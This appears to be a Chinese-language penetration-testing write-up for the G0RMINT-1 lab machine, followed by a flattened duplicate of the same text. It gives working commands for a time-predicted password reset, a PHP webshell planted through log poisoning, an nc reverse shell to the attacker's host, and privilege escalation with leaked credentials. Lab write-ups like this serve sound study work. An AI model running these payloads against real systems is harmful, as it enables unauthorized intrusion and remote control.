红队渗透测试之G0RMINT-1——初尝代码审计
字数 2089 2025-08-10 19:49:05

G0RMINT-1 渗透测试实战教学文档

1. 环境概述

  • 目标环境: G0RMINT-1 (由Noman Riffat设计的渗透测试环境)
  • 难度等级: 中级
  • 最终目标: 获取root权限并找到flag.txt
  • 攻击机: Kali Linux (IP: 192.168.27.187)
  • 靶机IP: 192.168.27.141

2. 渗透测试流程

  1. 信息收集
  2. 端口扫描
  3. 目录爆破
  4. 逻辑代码审计
  5. PHP脚本编写
  6. 毒化日志获取shell
  7. 内网信息枚举
  8. 内核提权/sudo提权
  9. 获取flag.txt

3. 详细渗透步骤

3.1 信息收集阶段

3.1.1 网络扫描

# 扫描存活主机
nmap -sP 192.168.27.0/24

# 全端口扫描(获取详细服务信息)
nmap -sS -sV -A -T5 -p- 192.168.27.141

扫描结果:

  • 22/tcp: OpenSSH 7.2p2 Ubuntu
  • 80/tcp: Apache httpd 2.4.18 (Ubuntu)

3.1.2 Web信息收集

  1. 访问http://192.168.27.141
  2. 发现robots.txt文件,内容包含禁止目录:
    /g0rmint/*
    
  3. 访问http://192.168.27.141/g0rmint/
  4. 查看网页源码发现备份目录提示

3.1.3 目录爆破

dirb http://192.168.27.141/g0rmint/

发现重要目录:

  • /g0rmint/s3cretbackupdirect0ry/
  • 下载到web登录门户的备份文件

3.2 代码审计

3.2.1 关键文件分析

  1. index.php:

    • 检查$_SESSION['username']会话变量
    • 未设置则重定向到login.php
  2. login.php:

    • 密码使用MD5加密
    • 使用PDO预处理语句防止SQL注入
    • 登录失败时调用addlog()函数记录日志
  3. config.php:

    • addlog()函数定义:
      function addlog($log, $reason) {
          $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
          // 写入日志
      }
      
    • 日志文件包含dummy.php内容
  4. reset.php:

    • 密码重置逻辑:
      $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
      
    • 使用当前时间生成SHA1哈希作为新密码

3.2.2 发现凭据

  1. 在dc.sql中发现测试账户:

    • 用户名: demo
    • 邮箱: demo@example.com
    • 密码: fe01ce2a7fbac8fafaed7c982a04e229 (MD5: demo123)
  2. 在style.css发现作者信息:

    • 用户名: noman
    • 邮箱: w3bdrill3r@gmail.com

3.3 利用密码重置机制

  1. 编写PHP脚本生成重置密码:

    <?php 
    $password = substr(hash('sha1', "Tuesday 27th of December 2022 05:42:49 AM"), 0, 20); 
    echo $password; 
    ?>
    
    • 输出: 60921cb1598c55b3a069
  2. 使用以下凭据登录:

    • 邮箱: w3bdrill3r@gmail.com
    • 密码: 60921cb1598c55b3a069

3.4 日志毒化获取Webshell

  1. 在登录页面的邮箱字段注入PHP代码:

    <?php system($_GET[cmd]);?>
    
  2. 访问日志文件(需先登录):

    http://192.168.27.141/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2022-12-26.php
    
  3. 执行命令:

    http://192.168.27.141/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2022-12-26.php?cmd=id
    

3.5 获取反向Shell

  1. 准备反向Shell命令(URL编码):

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.27.187 6666 >/tmp/f
    

    编码后:

    rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.27.187%206666%20%3E%2Ftmp%2Ff
    
  2. 在攻击机监听:

    nc -vlp 6666
    
  3. 触发反向Shell:

    http://192.168.27.141/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2022-12-26.php?cmd=编码后的命令
    
  4. 升级Shell:

    python3 -c 'import pty;pty.spawn("/bin/bash")'
    

3.6 内网信息枚举

  1. 上传并运行linpeas.sh:
    wget http://192.168.27.187/linpeas.sh
    chmod +x linpeas.sh
    ./linpeas.sh
    

发现:

  • 用户g0rmint具有sudo权限
  • 3306端口开放(MySQL)

3.7 提权方法

方法1: 内核提权

  1. 检查内核版本是否存在漏洞
  2. 在攻击机编译对应exp
  3. 通过web服务传输到靶机
  4. 执行获取root权限

方法2: Sudo提权

  1. 在www目录下发现backup.zip

  2. 解压并分析:

    unzip backup.zip -d /tmp
    cat /tmp/db.sql
    
  3. 发现凭据:

    • 用户名: noman
    • 密码: tayyab123
  4. 使用g0rmint账户SSH登录:

    ssh g0rmint@192.168.27.141
    

    密码: tayyab123

  5. 检查sudo权限:

    sudo -l
    

4. 关键知识点总结

  1. Nmap高级扫描技巧:

    • -sS: SYN扫描
    • -sV: 服务版本探测
    • -A: 全面扫描
    • -T5: 最快速度扫描
    • -p-: 全端口扫描
  2. Web目录爆破:

    • 关注robots.txt
    • 检查网页源码中的注释
    • 常见备份文件扩展名(.zip, .tar, .gz等)
  3. PHP代码审计要点:

    • 会话管理机制
    • 输入验证与过滤
    • 日志记录实现
    • 密码重置逻辑
  4. 日志毒化技巧:

    • 利用未过滤的用户输入
    • 绕过HTML标签过滤
    • 通过URL参数执行命令
  5. 反向Shell技术:

    • 多种反向Shell payload
    • URL编码技巧
    • Shell环境升级方法
  6. 提权方法:

    • 内核漏洞利用
    • Sudo权限滥用
    • 密码复用攻击

5. 防御建议

  1. 输入验证与过滤所有用户输入
  2. 避免在日志中记录未过滤的用户输入
  3. 使用安全的密码重置机制
  4. 限制sudo权限
  5. 及时更新系统和应用补丁
  6. 避免使用弱密码或默认密码
  7. 对敏感目录设置适当权限

6. 工具与资源

  1. 在线工具:

    • URL编码: https://www.urlencoder.org/
    • Reverse Shell备忘单: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    • SHA1哈希: http://www.ttmd5.com/hash.php?type=5
  2. 本地工具:

    • Nmap
    • Dirb
    • Netcat
    • LinPEAS

通过本案例的学习,可以掌握从信息收集到提权的完整渗透测试流程,特别是PHP应用的安全审计和漏洞利用技巧。

G0RMINT-1 渗透测试实战教学文档 1. 环境概述 目标环境 : G0RMINT-1 (由Noman Riffat设计的渗透测试环境) 难度等级 : 中级 最终目标 : 获取root权限并找到flag.txt 攻击机 : Kali Linux (IP: 192.168.27.187) 靶机IP : 192.168.27.141 2. 渗透测试流程 信息收集 端口扫描 目录爆破 逻辑代码审计 PHP脚本编写 毒化日志获取shell 内网信息枚举 内核提权/sudo提权 获取flag.txt 3. 详细渗透步骤 3.1 信息收集阶段 3.1.1 网络扫描 扫描结果: 22/tcp: OpenSSH 7.2p2 Ubuntu 80/tcp: Apache httpd 2.4.18 (Ubuntu) 3.1.2 Web信息收集 访问http://192.168.27.141 发现robots.txt文件,内容包含禁止目录: 访问http://192.168.27.141/g0rmint/ 查看网页源码发现备份目录提示 3.1.3 目录爆破 发现重要目录: /g0rmint/s3cretbackupdirect0ry/ 下载到web登录门户的备份文件 3.2 代码审计 3.2.1 关键文件分析 index.php : 检查 $_SESSION['username'] 会话变量 未设置则重定向到login.php login.php : 密码使用MD5加密 使用PDO预处理语句防止SQL注入 登录失败时调用 addlog() 函数记录日志 config.php : addlog() 函数定义: 日志文件包含dummy.php内容 reset.php : 密码重置逻辑: 使用当前时间生成SHA1哈希作为新密码 3.2.2 发现凭据 在dc.sql中发现测试账户: 用户名: demo 邮箱: demo@example.com 密码: fe01ce2a7fbac8fafaed7c982a04e229 (MD5: demo123) 在style.css发现作者信息: 用户名: noman 邮箱: w3bdrill3r@gmail.com 3.3 利用密码重置机制 编写PHP脚本生成重置密码: 输出: 60921cb1598c55b3a069 使用以下凭据登录: 邮箱: w3bdrill3r@gmail.com 密码: 60921cb1598c55b3a069 3.4 日志毒化获取Webshell 在登录页面的邮箱字段注入PHP代码: 访问日志文件(需先登录): 执行命令: 3.5 获取反向Shell 准备反向Shell命令(URL编码): 编码后: 在攻击机监听: 触发反向Shell: 升级Shell: 3.6 内网信息枚举 上传并运行linpeas.sh: 发现: 用户g0rmint具有sudo权限 3306端口开放(MySQL) 3.7 提权方法 方法1: 内核提权 检查内核版本是否存在漏洞 在攻击机编译对应exp 通过web服务传输到靶机 执行获取root权限 方法2: Sudo提权 在www目录下发现backup.zip 解压并分析: 发现凭据: 用户名: noman 密码: tayyab123 使用g0rmint账户SSH登录: 密码: tayyab123 检查sudo权限: 4. 关键知识点总结 Nmap高级扫描技巧 : -sS : SYN扫描 -sV : 服务版本探测 -A : 全面扫描 -T5 : 最快速度扫描 -p- : 全端口扫描 Web目录爆破 : 关注robots.txt 检查网页源码中的注释 常见备份文件扩展名(.zip, .tar, .gz等) PHP代码审计要点 : 会话管理机制 输入验证与过滤 日志记录实现 密码重置逻辑 日志毒化技巧 : 利用未过滤的用户输入 绕过HTML标签过滤 通过URL参数执行命令 反向Shell技术 : 多种反向Shell payload URL编码技巧 Shell环境升级方法 提权方法 : 内核漏洞利用 Sudo权限滥用 密码复用攻击 5. 防御建议 输入验证与过滤所有用户输入 避免在日志中记录未过滤的用户输入 使用安全的密码重置机制 限制sudo权限 及时更新系统和应用补丁 避免使用弱密码或默认密码 对敏感目录设置适当权限 6. 工具与资源 在线工具 : URL编码: https://www.urlencoder.org/ Reverse Shell备忘单: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet SHA1哈希: http://www.ttmd5.com/hash.php?type=5 本地工具 : Nmap Dirb Netcat LinPEAS 通过本案例的学习,可以掌握从信息收集到提权的完整渗透测试流程,特别是PHP应用的安全审计和漏洞利用技巧。